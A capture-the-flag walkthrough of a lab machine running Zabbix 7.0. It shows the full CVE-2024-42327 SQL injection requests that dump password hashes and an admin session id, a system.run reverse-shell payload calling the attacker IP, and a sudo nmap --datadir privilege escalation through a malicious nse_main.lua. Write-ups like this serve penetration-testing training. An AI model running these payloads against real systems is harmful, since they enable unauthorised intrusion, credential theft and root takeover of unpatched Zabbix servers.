Unrested is a vulnerable Linux
machine hosting a version of Zabbix
. Enumerating the version of Zabbix
shows that it is vulnerable to both SQLi and RCE exploits which we use to gain user access on the target. Post-exploitation enumeration reveals that the system has a sudo
misconfiguration allowing the zabbix
user to execute a malicious nmap configuration file.
Enumeration
As is common in real life pentests, you will start the Unrested box with credentials for the following account on Zabbix: matthew / 96qzn0h2e1k3
Target IP: 10.129.231.176 Attacker IP: 10.10.14.110
nmap -sCVS 10.129.231.176
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
|_ 256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
80/tcp open http Apache httpd 2.4.52 ((Ubuntu))
|_http-server-header: Apache/2.4.52 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
We head over to http://10.129.231.176
This leads me to a login page for Zabbix.
Zabbix is an open-source network monitoring and infrastructure management platform. It’s designed to monitor the availability, performance, and health of IT infrastructure components including servers, network devices, applications, and services.
I use Burp Suite to intercept a login request so I can analyze some more details with our target application.
This is nothing out of the ordinary, I have a session cookie as well as the parameters for signing in. Looking at the response, I am able to find the version of Zabbix that is running.
The help button on the homepage of our targets website redirects a user to the documentation for Zabbix version 7.0.
With some quick Googling I come to find that this version of Zabbix is susceptible to a authenticated SQL injection attack, CVE-2024-42327.
A non-admin user account on the Zabbix frontend with the default User role, or with any other role that gives API access can exploit this vulnerability. An SQLi exists in the CUser class in the addRelatedObjects function, this function is being called from the CUser.get function which is available for every user who has API access.
Lets check to see if our user matthew has API access. On the left hand column we are able to navigate to the user settings and API tokens menu.
API Token Creation
It looks like matthew does not have any api tokens set up.
On the top right of the web application there is an option for user matthew to create an API token. If we are able to do this, we will be able to preform our SQLi attack.
We create our API token and get an Auth token as well.
a52e780d3f9267b13b12799ca92447e4204f008a9a2d00ad6f8b065957e56622
Now that I have an API token created for matthew lets check out how SQLi injection works with Zabbix 7.0
CVE 2024-42327 SQLi
https://www.exploit-db.com/exploits/52230
# Exploit Title: Zabbix 7.0.0 - SQL Injection
# Date: 06/12/2024
# Exploit Author: Leandro Dias Barata @m4nb4
# Vendor Homepage: https://www.zabbix.com/
# Software Link: https://support.zabbix.com/browse/ZBX-25623
# Version: 6.0.0 - 6.0.31 / 6.0.32rc1 6.4.0 - 6.4.16 / 6.4.17rc1 7.0.0
# Tested on: Kali Linux kali-linux-2024.3
# CVE: CVE-2024-42327
import requests
import argparse
HEADERS = {"Content-Type": "application/json"}
def main():
parser = argparse.ArgumentParser(description="CHECK for CVE-2024-42327")
parser.add_argument("-t", "--target", required=True, help="API URL")
parser.add_argument("-u", "--username", required=True, help="Username")
parser.add_argument("-p", "--password", required=True, help="Password")
args = parser.parse_args()
url = f"{args.target.rstrip('/')}/api_jsonrpc.php"
# Login to get the token
login_data = {
"jsonrpc": "2.0",
"method": "user.login",
"params": {"username": args.username, "password": args.password},
"id": 1,
"auth": None
}
try:
login_response = requests.post(url, json=login_data, headers=HEADERS)
login_response.raise_for_status()
auth_token = login_response.json().get("result")
# Simple SQLi test
data = {
"jsonrpc": "2.0",
"method": "user.get",
"params": {
"selectRole": ["roleid", "name", "type", "readonly AND (SELECT(SLEEP(5)))"],
"userids": ["1", "2"]
},
"id": 1,
"auth": auth_token
}
test_response = requests.post(url, json=data, headers=HEADERS)
test_response.raise_for_status()
if "error" in test_response.text:
print("[-] NOT VULNERABLE.")
else:
print("[!] VULNERABLE.")
except requests.RequestException as e:
print(f"[!] Request error: {e}")
if __name__ == "__main__":
main()
This script targets /api_jsonrpc.php
and first logins to retrieve a token. Once we obtain this token the script uses it to see if the application is vulnerable to SQLi. I’ll break this down in Burp Suite to have a better look.
This is the request we make in Burp Suite to obtain our token. We target /api_jsonrpc.php
and user the user.login method. Make sure to include the parameters that are required for the user.login method such as username and password.
Our response comes back with the token in the result
field. Now we can use this token for testing our SQLi attack.
I target /api_jsonrpc.php
and use the user.get method this time. The parameters needed for this method are roleid, name, and type. I also include our SQLi line, readonly AND (SELECT(SLEEP(5)))
. It is also required to use the userids parameter.
Note: It is also viable to just use the original auth token from creating the API token in the first place.
Knowing this lets find a way to grab the admin token.
I will be dissecting pieces of this python script for use in our POST requests: https://github.com/874anthony/CVE-2024-42327_Zabbix_SQLi
To save time I will also just research what table we need to extract from. A good idea would be to actually set Zabbix 7.0 in your own environment so you can see how the databases are set up.
https://support.zabbix.com/si/jira.issueviews:issue-html/ZBX-4322/ZBX-4322.html
It looks like we need to target the sessions table and grab sessionid from it, but for now, we will also take a look at a few other items.
POST /zabbix/api_jsonrpc.php HTTP/1.1
Host: 10.129.231.176
User-Agent: python-requests/2.32.3
Accept-Encoding: gzip, deflate, br
Accept: */*
Connection: keep-alive
Content-Type: application/json
Content-Length: 273
{"jsonrpc": "2.0",
"method": "user.get", "params": {
"selectRole": ["name, (SELECT GROUP_CONCAT(userid, ', ', username, ', ', passwd, ', ', roleid, ' || ') FROM users)"],"editable":1 }, "id": 1, "auth": "a52e780d3f9267b13b12799ca92447e4204f008a9a2d00ad6f8b065957e56622"}
We are able to use this request to grab a hashed password from the users table in the database. However, we are looking for an admin token that we can use to achieve RCE on our target.
POST /zabbix/api_jsonrpc.php HTTP/1.1
Host: 10.129.231.176
User-Agent: python-requests/2.32.3
Accept-Encoding: gzip, deflate, br
Accept: */*
Connection: keep-alive
Content-Type: application/json
Content-Length: 249
{"jsonrpc": "2.0",
"method": "user.get", "params": {
"selectRole": ["name, (SELECT GROUP_CONCAT(sessionid, ', ', userid, ' || ') FROM sessions)"],"editable":1 }, "id": 1, "auth": "a52e780d3f9267b13b12799ca92447e4204f008a9a2d00ad6f8b065957e56622"}
This is the query that is used to grab the sessionid from the sessions table.
We get our admin sessionid. We know it is this since we confirm it with the user id we received, 1, to our last query.
e9b57572f6a3f1235b2e14ab89b8c6e8
RCE
Now with this admin sessionid we can try and execute RCE. For this, we need two parameters. We need a hostid and interfaceid. Using the admin auth token we have we post this request
https://www.zabbix.com/documentation/current/en/manual/api/reference/host/get
POST /zabbix/api_jsonrpc.php HTTP/1.1
Host: 10.129.231.176
User-Agent: python-requests/2.32.3
Accept-Encoding: gzip, deflate, br
Accept: */*
Connection: keep-alive
Content-Type: application/json
Content-Length: 124
{"jsonrpc": "2.0",
"method": "host.get", "params": {
"editable":1 }, "id": 1, "auth": "e9b57572f6a3f1235b2e14ab89b8c6e8"}
HTTP/1.1 200 OK
Date: Sat, 12 Jul 2025 15:30:13 GMT
Server: Apache/2.4.52 (Ubuntu)
Access-Control-Allow-Origin: *
Access-Control-Allow-Headers: Content-Type
Access-Control-Allow-Methods: POST
Access-Control-Max-Age: 1000
Content-Length: 589
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: application/json
{"jsonrpc":"2.0","result":[{"hostid":"10084","proxyid":"0","host":"Zabbix server","status":"0","ipmi_authtype":"-1","ipmi_privilege":"2","ipmi_username":"","ipmi_password":"","maintenanceid":"0","maintenance_status":"0","maintenance_type":"0","maintenance_from":"0","name":"Zabbix server","flags":"0","templateid":"0","description":"","tls_connect":"1","tls_accept":"1","tls_issuer":"","tls_subject":"","custom_interfaces":"0","uuid":"","vendor_name":"","vendor_version":"","proxy_groupid":"0","monitored_by":"0","inventory_mode":"1","active_available":"1","assigned_proxyid":"0"}],"id":1}
This output gives us the hostid that we need. We are still missing the interfaceid. We need to add a selectInterfaces query to complete this.
POST /zabbix/api_jsonrpc.php HTTP/1.1
Host: 10.129.231.176
User-Agent: python-requests/2.32.3
Accept-Encoding: gzip, deflate, br
Accept: */*
Connection: keep-alive
Content-Type: application/json
Content-Length: 165
{"jsonrpc": "2.0",
"method": "host.get", "params": {
"selectInterfaces":[
"interfaceid"],
"editable":1
}, "id": 1, "auth": "e9b57572f6a3f1235b2e14ab89b8c6e8"}
That request gives us our interfaceid.
hostid:10084
interfaceid: 1
With these parameters we can now attempt RCE with the item.create method.
POST /zabbix/api_jsonrpc.php HTTP/1.1
Host: 10.129.231.176
User-Agent: python-requests/2.32.3
Accept-Encoding: gzip, deflate, br
Accept: */*
Connection: keep-alive
Content-Type: application/json
Content-Length: 295
{"jsonrpc": "2.0",
"method": "item.create", "params": {
"name":"ZabbixServer",
"type":0,
"value_type":0,
"delay":5555,
"key_":"system.run[bash -c 'bash -i >& /dev/tcp/10.10.14.110/5555 0>&1']",
"hostid": "10084",
"interfaceid":1
}, "id": 1, "auth": "e9b57572f6a3f1235b2e14ab89b8c6e8"}
Note The item.create method requires that we also include a type, value_type, and delay parameter. For these I just inserted whatever and I was still able to catch a shell.
We set up a listener on our attacker machine and run this request and get our shell! Looks like we are running as user Zabbix.
Privilege Escalation: NMAP
https://gtfobins.github.io/gtfobins/nmap/
I try a lot of these payloads from gtfobins but it looks like interactive mode and script mode is disabled. This will make it harder for us to escalate privileges.
nmap -h
The nmap flag that is interesting to us here is –datadir. Lets check out how it works.
/usr/share/nmap
nse_main.lua is a core component of Nmap’s scripting engine (NSE - Nmap Scripting Engine). It serves as the main orchestrator and runtime environment for NSE scripts.
The file is essentially the “brain” of NSE, coordinating all scripting activities and ensuring scripts can interact effectively with Nmap’s scanning capabilities and each other.
In our /tmp folder we replicate the file name and insert malicious code to privilege escalate.
nano nse_main.lua
nse_main.lua file contents
os.execute("/bin/bash")
sudo nmap --datadir /tmp -sCVS localhost
With this we can go ahead and grab our root flag! pwned